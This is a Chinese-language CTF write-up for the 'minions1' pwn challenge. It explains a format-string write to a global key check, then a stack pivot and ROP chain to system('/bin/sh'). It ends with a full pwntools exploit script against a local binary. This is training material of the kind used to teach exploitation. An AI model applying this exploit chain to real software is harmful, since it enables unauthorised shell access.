总结:
这道题涉及到格式化字符串和栈迁移。其中,格式化字符串用在更改key变量,栈迁移用于getshell
步骤解析:
第一步,checksec
64位,no pie, no canary,看起来有可能是栈溢出。
没关系,这看不出什么来,那就看看程序执行起来是什么样:
嗯,有一个疑似格式化字符串的现象,还不确定,具体看反汇编。之后好像有一个判断,还是放入ida看看。
main函数,先是进入vuln函数,(应该就是疑似格式化字符串的地方),果然进行了一次判断,key==0x66(102),key是一个全局变量,看看它的地址:
那么我们再看看vuln:
是有格式化字符串的。再继续看,有个可以栈溢出的地方,还有另外一个全局变量hdctf:
随后,又发现了一个后门:
但是不是binsh,是echo,没用,除非我们改参数(也就是’echo HDCTF’)。
先说说我一开始的思路:在一开始,我注意到了判断,但是没放在心上,一心想着通过格式化字符串泄露libc_start_main的地址,得到libc。结果显而易见,虽然得到了libc,但是躲不过判断,寄寄寄寄寄
所以这说明,格式化字符串的漏洞,不是用来泄露libc的。不要忘了,格式化字符串的漏洞,重点再修改数据,只不过平时最熟悉的是泄露libc罢了。因此,这个漏洞是用来更改key的内容的。更改完就可以顺利进入泄露阶段。
在泄漏点,因为泄漏点的空间有限,除非我们有现成的后门,也就是直接system(‘/bin/sh’)的时候,不然都得考虑栈迁移的可能性。选一个没用过的地址就可以。这个程序里有system,但是参数不对,所以需要改参数。那个后门函数里,system传参需要rdi,所以需要一个pop rdi;ret的地址(ROPgadget --binary ./minions1 --only ‘pop|ret’)。
总共需要两次栈溢出,第一次是为了转移栈(填入fake_rbp,修改rbp),第二次是为了在转移的栈上写入数据,并且使得程序跳入我们构建的fake_stack上。pop rdi;ret的参数,用hdctf来pop,岂不美哉。
其次,要注意顺序,栈是从高地址向低地址增长(敲黑板)
exp:
from pwn import*
from LibcSearcher import*
context(os='linux', arch='amd64')
context.log_level = 'debug'
p=process('./minions1')
elf=ELF('./minions1')
libc=ELF('./libc-2.23.so')
rdi_ret=0x0400893
shell=0x400763
learet=0x400828
key=0x06010A0
hdctf=0x06010C0
fakerbp=0x601900
main_addr=0x004007DE
p.recvuntil(b'you name?\n\n')
payload=fmtstr_payload(6,{key:102})
p.send(payload)
p.recvuntil(b'\nDo you have an invitation key?\n')
p.recvuntil(b'welcome,tell me more about you\n')
payload=b'a'*0x30+p64(fakerbp)+p64(main_addr)
p.send(payload)
p.recvuntil(b"That's great.Do you like Minions?\n")
p.send(b'/bin/sh\x00')
p.recvuntil(b'welcome,tell me more about you\n')
payload=p64(rdi_ret)+p64(hdctf)+p64(shell)+b'a'*0x18+p64(fakerbp-0x30-0x8)+p64(learet)
gdb.attach(p)
pause()
p.send(payload)
p.recvuntil(b"That's great.Do you like Minions?\n")
p.send(b'/bin/sh\x00')
p.interactive()